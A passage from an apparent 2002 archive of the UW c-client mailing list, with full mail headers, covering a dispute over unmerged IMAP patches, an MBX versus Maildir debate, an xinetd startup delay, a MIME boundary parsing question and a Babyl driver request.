from the feature of the UW imap Mmmh, he just answered he wasn't interested in integrating any of the patches and that I should maintain them on my side and distribute them myself. That's his right, mind you. However, never answering my request to somehow link to the patches or mention them somewhere is not being very helpful. (note that this didn't happen to just me. Jauder Ho, from Transmeta back then, also wrote patches, some of which mine were based on, and met the same result than me when he tried to submit them (with nice #define to exclude all the code by default)) > If there's a community of mail administrators crucially > dependent on UW imap and knowing it to the level of patching, which > seems to be the case, the proper thing to do is to form an Apache > like group for community maintained code, put it onto Sourceforge, (...) Sounds like a reasonable idea. Note that I only became unhappy after Emailing him and giving him a chance to explain himself, or say something like "sorry, I never really had the time to look at your patch, and just ended up rewriting it independantly", or "oh yeah, I meant to write you about this", or something... But no, nothing, hence the default answer of "I don't care, go away" Anyway, doesn't matter, I moved on Marc (note that I contribute to many open source projects, this is not just the one patch I happened to write and sent to my first maintainer) -- "A mouse is a device used to point at the xterm you want to type in" - A.S.R. Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking Home page: http://marc.merlins.org/ | Finger marc_f@merlins.org for PGP key From pinedev@shivax2.cac.washington.edu Mon Aug 19 18:57:53 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Aug 2002 18:57:53 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7K1vr2P025323 for ; Mon, 19 Aug 2002 18:57:53 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Aug 19 18:57:52 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7K1vmEN017762 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 19 Aug 2002 18:57:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7K1vLlZ006058; Mon, 19 Aug 2002 18:57:21 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7K1t5eY028656 for ; Mon, 19 Aug 2002 18:55:05 -0700 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Aug 19 18:55:04 2002 -0700 Received: from mail2.merlins.org (moremagic.merlins.org [204.80.101.251]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7K1t3s9005955 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 19 Aug 2002 18:55:04 -0700 Received: from [12.146.157.2] (port=4372 helo=gandalf.merlins.org) by mail2.merlins.org with asmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 4.04 #168 (Debian)) id 17gyEX-0000WS-00; Mon, 19 Aug 2002 18:55:01 -0700 Received: from merlin by gandalf.merlins.org with local (Exim 3.31-VA-mm2 #1 (Debian)) id 17gyEC-0001NQ-00; Mon, 19 Aug 2002 18:54:40 -0700 Message-Id: <20020820015440.GF7623@merlins.org> Date: Mon, 19 Aug 2002 18:54:40 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Marc MERLIN To: Feiyu Xie Cc: c-client@u.washington.edu, MRC@CAC.Washington.EDU Subject: Re: MBX vs maildir In-Reply-To: <20020819211057.GA27231@angle.setup.org> <7DFBE66616403040B7740D9380A671C702A68E@EXCHANGE1.developerschoice.com> <6F46FABB90ABD411BD690002B3152FB9D9E57B@lkwmail01> References: <20020817210134.GD23760@merlins.org> <20020819211057.GA27231@angle.setup.org> <20020817210134.GD23760@merlins.org> <7DFBE66616403040B7740D9380A671C702A68E@EXCHANGE1.developerschoice.com> <6F46FABB90ABD411BD690002B3152FB9D9E57B@lkwmail01> Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=us-ascii X-Sender: X-Sysadmin: BOFH X-URL: http://marc.merlins.org/ X-Operating-System: Proudly running Linux 2.4.14-lvm1.0.1rc4-ext3-0.9.15-servers11-up/Debian woody X-Spam-Status: No, hits=-4.4 required=7.0 tests=IN_REP_TO version=2.21 X-Spam-Level: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, Aug 19, 2002 at 11:01:03AM -0400, Feiyu Xie wrote: > We are using courier imap with Maildir as well, for security, speed, and > *cough* NFS. I'd consider the Cyrus (which is basicly a Maildir with > meta-data files for each user) if we don't use NFS for mail storage... Marc, > could you tell us more about what kind of comparison/experience you had with > MBX vs. Maildir? This will definitely help people out there... Well, I had MBX break down in a reasonably sized organization (200 people) with mailboxes going up to 100MB with 5-10k messages. Not small, but not out of the ordinary either. You see that in ms exchange every day uwimap at that stage became quite slow, and by design, expunging messages from a 5-10k mesg mailbox is excruciatingly slow. With maildir+ you only have to do one readdir to get a pointer to all the messages, and the size of each of them. Deleting one message in the middle is one unlink. You can get all the new messages or all the read message with one readdir Mark's paper on directory operations bogging down and being slowed down and serialized by the kernel is just outdated. FS that have directories in hashes or btrees can be looked up quite quickly, and some can apparently support concurrent operations. Unfortunately, I haven't had the time to setup a system where I can do a real MBX vs Maildir comparison (it'd take a lot of time to do it fairly for both sides, and you'd have to redo it with different filesystems) My other big beef with MBX is that pretty much no mail client directly supports it without going through an imap server. With Maildir, I can point mutt at my Maildir directory, and just navigate it, or just use grep or grepmail to find messages. (granted, it's not MBX's fault, but if there is no tool support for it outside of c-client, it's not very useful to me) Marc -- "A mouse is a device used to point at the xterm you want to type in" - A.S.R. Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking Home page: http://marc.merlins.org/ | Finger marc_f@merlins.org for PGP key From pinedev@shivax2.cac.washington.edu Tue Aug 20 03:44:10 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Aug 2002 03:44:10 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KAiA2P005213 for ; Tue, 20 Aug 2002 03:44:10 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Aug 20 03:44:09 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KAi607004972 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Aug 2002 03:44:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KAhYqt030186; Tue, 20 Aug 2002 03:43:34 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KAe3eY094472 for ; Tue, 20 Aug 2002 03:40:03 -0700 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Aug 20 03:40:03 2002 -0700 Received: from camelot.virtualavalon.net (127bus50.tampabay.rr.com [24.94.127.50]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KAe2R8013219 for ; Tue, 20 Aug 2002 03:40:02 -0700 Received: from arthur.virtualavalon.net (arthur.virtualavalon.net [172.20.1.10]) by camelot.virtualavalon.net (8.12.0/8.12.0) with ESMTP id g7KAdt8X017784 for ; Tue, 20 Aug 2002 06:39:55 -0400 Received: from tampabay.rr.com (wayfarer.virtualavalon.net [172.20.1.15]) by arthur.virtualavalon.net (8.12.0/8.12.0) with ESMTP id g7KAdlTb006676 for ; Tue, 20 Aug 2002 06:39:48 -0400 (EDT) Message-Id: <3D621BB3.1060606@tampabay.rr.com> Date: Tue, 20 Aug 2002 06:36:35 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jesse W. Asher" To: c-client@u.washington.edu Subject: imapd and xinetd. MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en, ja X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I recently ran into a problem with imapd running behind xinetd and I thought I'd share the solution in case someone else ran into it in the future. I'm running RedHat 7.1 with the xinetd config files in /etc/xinetd.d. I had copied one of the config files over to "imap" in that directory and modified it to point to the imapd binary. The symptom I was seeing was that it seemed to take a LONG time to get imapd started (30-60 seconds) so that when you first authenticated or anytime a new imapd had to be started, there was a long delay. Once imapd was started, it seemed to run fine. My problem was that there was a "nice" value specified in the old xnetd config file I had copied over and that was causing the delay. The delay immediately went away as soon as I removed this value and restarted xinetd. Just thought I'd share it for the archives in case someone else runs into it in the future.... -- Jesse W. Asher "They that can give up essential liberty to purchase a little temporary safety, deserve neither liberty or safety." - Benjamin Franklin -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 20 06:46:41 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Aug 2002 06:46:41 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KDkf2P009700 for ; Tue, 20 Aug 2002 06:46:41 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Aug 20 06:46:40 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KDkYEN031479 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Aug 2002 06:46:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KDjmqt033632; Tue, 20 Aug 2002 06:45:48 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KDfbeY100508 for ; Tue, 20 Aug 2002 06:41:37 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Aug 20 06:41:36 2002 -0700 Received: from secure4.developerschoice.net ([209.69.207.2]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KDfaJX008103 for ; Tue, 20 Aug 2002 06:41:36 -0700 Received: from taylor.developerschoice.net ([209.69.206.2] helo=office3 ident=hidden-user) by secure4.developerschoice.net with asmtp (Exim 3.34 #4) id 17h9Dg-000494-00; Tue, 20 Aug 2002 09:38:52 -0400 Message-Id: <7DFBE66616403040B7740D9380A671C7CFE6@EXCHANGE1.developerschoice.com> Date: Tue, 20 Aug 2002 09:32:59 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jeff Breitner" To: "'Marc MERLIN'" Cc: Subject: RE: MBX vs maildir In-Reply-To: <20020820015440.GF7623@merlins.org> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Well, I had MBX break down in a reasonably sized > organization (200 people) with mailboxes going up to 100MB > with 5-10k messages. Not small, but not out of the ordinary > either. You see that in ms exchange every day uwimap at that > stage became quite slow, and by design, expunging messages > from a 5-10k mesg mailbox is excruciatingly slow. This has been a recuring theme, especially with half of the Outlook world sending klez-related attachments to everyone Outlook as ever seen in its life. However, I disagree that expunging is *that* terribly slow. This account, which subscribes to no less than 10 mailing lists routinely accesses mbx files that have hundreds of mail messages. It isn't lickety-split like an Exchange server, but it's acceptable. > > With maildir+ you only have to do one readdir to get a > pointer to all the messages, and the size of each of them. > Deleting one message in the middle is one unlink. You can get > all the new messages or all the read message with one readdir > I agree with you on this point, and it's helpful for killing off the occasional 400 megabyte video file attachment sent by a well-meaning individual. Nothing like circumventing everything, going into the file system and simply finding the offending file and killing it on sight. MBX simply isn't that nice to deal with. > My other big beef with MBX is that pretty much no mail > client directly supports it without going through an imap > server. With Maildir, I can point mutt at my Maildir > directory, and just navigate it, or just use grep or > grepmail to find messages. (granted, it's not MBX's fault, > but if there is no tool support for it outside of > c-client, it's not very useful to me) This may be a problem for people like you and me, but for the majority of people who read mail, their only exposure to the guts is the occasional system rebuild where they have to hit Tools->Accounts->default-mail in their Outlook/Outlook Express. They get access to their mail *only* through the services of a server. I've never experimented with using MySQL databases as the mail spool, but I have to believe that if one is going to make a move from mbx, that might be the preferred direction. I would be interested in knowing how that compares to mbx and maildir. From pinedev@shivax2.cac.washington.edu Tue Aug 20 13:35:20 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Aug 2002 13:35:20 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KKZK2P025248 for ; Tue, 20 Aug 2002 13:35:20 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Aug 20 13:35:19 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KKZI07022986 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Aug 2002 13:35:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KKYleo078808; Tue, 20 Aug 2002 13:34:47 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KKVreY095752 for ; Tue, 20 Aug 2002 13:31:53 -0700 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Aug 20 13:31:49 2002 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KKVnJY022308 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 20 Aug 2002 13:31:49 -0700 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KKVmS4002782 for ; Tue, 20 Aug 2002 13:31:48 -0700 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Tue Aug 20 13:31:47 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KKVlCR015946 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 20 Aug 2002 13:31:47 -0700 Message-Id: Date: Tue, 20 Aug 2002 13:31:46 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Marc MERLIN Cc: c-client@u.washington.edu Subject: Re: I'm done with UWIMAP, Mark doesn't follow the spirit of open source In-Reply-To: <20020817210134.GD23760@merlins.org> References: <20020817210134.GD23760@merlins.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sometimes, when people do not answer mail, it is because they are on vacation. I just returned from a one-month email-free vacation in Alaska. I am not going to refute Marc Merlin's message point-by-point, except to point out that the IMAP and c-client mailing lists archives shows that his patch was merely one of a long series of patches which have the notion of restricting a user's file naming access above and beyond what the filesystem provides. The first such patch was written by me over 10 years ago, and I have written several others for people who asked me nicely. I've also received any number of such patches from other people, including Merlin. The new restrictBox functionality is the culmination of this 10+ years worth of study of what various sites do, and a distillation of it into something that is reasonably simple. I spent a considerable amount of time hand-holding Merlin through matters that he could have found out for himself if he had read the documentation and various books available. If this is the way that he chooses to repay my efforts, we are both better off with him using a different product. Scalability is something which is a good deal more complex that he presents. What scales well on a Linux based server to Outlook clients is not necessarility the same as what scales well to a Solaris based server to Pine or Mulberry clients. I recommend that if a person really wants the one-file per message type format that they use Cyrus instead of maildir. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Aug 20 13:52:05 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Aug 2002 13:52:05 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KKq52P025884 for ; Tue, 20 Aug 2002 13:52:05 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Aug 20 13:52:03 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KKq207023551 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Aug 2002 13:52:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KKpTlZ015114; Tue, 20 Aug 2002 13:51:29 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KKm6eY095954 for ; Tue, 20 Aug 2002 13:48:37 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Aug 20 13:48:06 2002 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.19]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KKm1br004848 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 20 Aug 2002 13:48:01 -0700 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KKm1Yu030977 for ; Tue, 20 Aug 2002 13:48:01 -0700 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Tue Aug 20 13:47:52 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KKlqTb027547 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 20 Aug 2002 13:47:52 -0700 Message-Id: Date: Tue, 20 Aug 2002 13:47:52 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Alexy Khrabrov Cc: c-client@u.washington.edu Subject: Re: Marc v. Mark Syndrome, or Cathedral v. Bazaar In-Reply-To: <200208192119.g7JLJeHq027377@angle.badbox.com> References: <200208192119.g7JLJeHq027377@angle.badbox.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you for your support. On Mon, 19 Aug 2002, Alexy Khrabrov wrote: > As a more serious conclusion, I think Mark should > appoint some deputies, like Eric Raymond did with > fetchmail, in case, G-d forbid, something kicks > him out of the net for a while. Actually, there are already such individuals: the other members of the UW Pine team. We have a division of responsibilities, and the UW IMAP toolkit (c-client, imapd, etc.) is mine. However, in extraordinary circumstances any of us could take over as needed. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Aug 20 14:06:25 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Aug 2002 14:06:25 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KL6P2P026338 for ; Tue, 20 Aug 2002 14:06:25 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Aug 20 14:06:18 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KL6IEN013747 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Aug 2002 14:06:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KL5geo095826; Tue, 20 Aug 2002 14:05:43 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KL3BeY147466 for ; Tue, 20 Aug 2002 14:03:11 -0700 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Aug 20 14:03:11 2002 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.19]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KL3Abr009461 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 20 Aug 2002 14:03:10 -0700 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KL3AYu004306 for ; Tue, 20 Aug 2002 14:03:10 -0700 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Tue Aug 20 14:03:04 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KL34Tb027880 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 20 Aug 2002 14:03:04 -0700 Message-Id: Date: Tue, 20 Aug 2002 14:03:04 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jon Kyme Cc: c-client@u.washington.edu Subject: Re: Mime boundary woes In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The "=" character is not valid in an unquoted MIME parameter. Thus, the Content-Type given violates MIME syntax. On Mon, 22 Jul 2002, Jon Kyme wrote: > We're using IMAP2000 (2000.287) and have noticed > a problem with MIME messages with a content type like this: > Content-Type: multipart/alternative; > boundary=----_=_NextPart_001_01C18267.98C4C800 > If I edit this header to quote the boundary all is well, > but otherwise we see stuff like > OK [PARSE] Unexpected characters at end of parameters: > =_NextPart_001_01C18267.98C4C800 > And the bodystructure is corrupt. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Aug 20 14:24:12 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Aug 2002 14:24:12 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KLOC2P027118 for ; Tue, 20 Aug 2002 14:24:12 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Aug 20 14:24:11 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KLOA07024622 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Aug 2002 14:24:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KLNclZ030784; Tue, 20 Aug 2002 14:23:38 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KLLQeY147624 for ; Tue, 20 Aug 2002 14:21:26 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Aug 20 14:21:25 2002 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KLLPbr015702 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 20 Aug 2002 14:21:25 -0700 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KLLPej014309 for ; Tue, 20 Aug 2002 14:21:25 -0700 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Tue Aug 20 14:21:23 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KLLNCR017047 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 20 Aug 2002 14:21:23 -0700 Message-Id: Date: Tue, 20 Aug 2002 14:21:23 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "K. Richard Pixley" Cc: c-client@u.washington.edu Subject: Re: babyl format driver? In-Reply-To: <200207250706.g6P76sv19003@ono.noir.com> References: <200207250706.g6P76sv19003@ono.noir.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 25 Jul 2002, K. Richard Pixley wrote: > Is anyone aware of a babyl format, (ie, emacs rmail format), driver > for c-client? I don't know of one, and I don't know enough about Babyl format to write one. > And if not, and were I to write such a thing, could anyone tell me > what would be required in order to see such a driver incorporated into > the standard releases? The main issue is support. I don't know enough about Babyl to support it myself, but including it in the official distribution implies support. It also would get me flamed if it had problems (e.g. was slow, or violated some aspect of the Babyl specification). In such cases, I encourage third-party distribution. That way, the support for Babyl would be in the hands of the Babyl user community, who are in a better position to support Babyl than I am. Similar issues apply to Maildir format. I'll be happy to answer technical questions for anyone who purposes to write a Babyl driver (e.g. what c-client expects). I suggest that you (or whomever) start with an existing driver with similar characteristics and use it as a prototype for the new driver. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Aug 20 14:37:58 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Aug 2002 14:37:58 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KLbw2P027723 for ; Tue, 20 Aug 2002 14:37:58 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Aug 20 14:37:56 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id 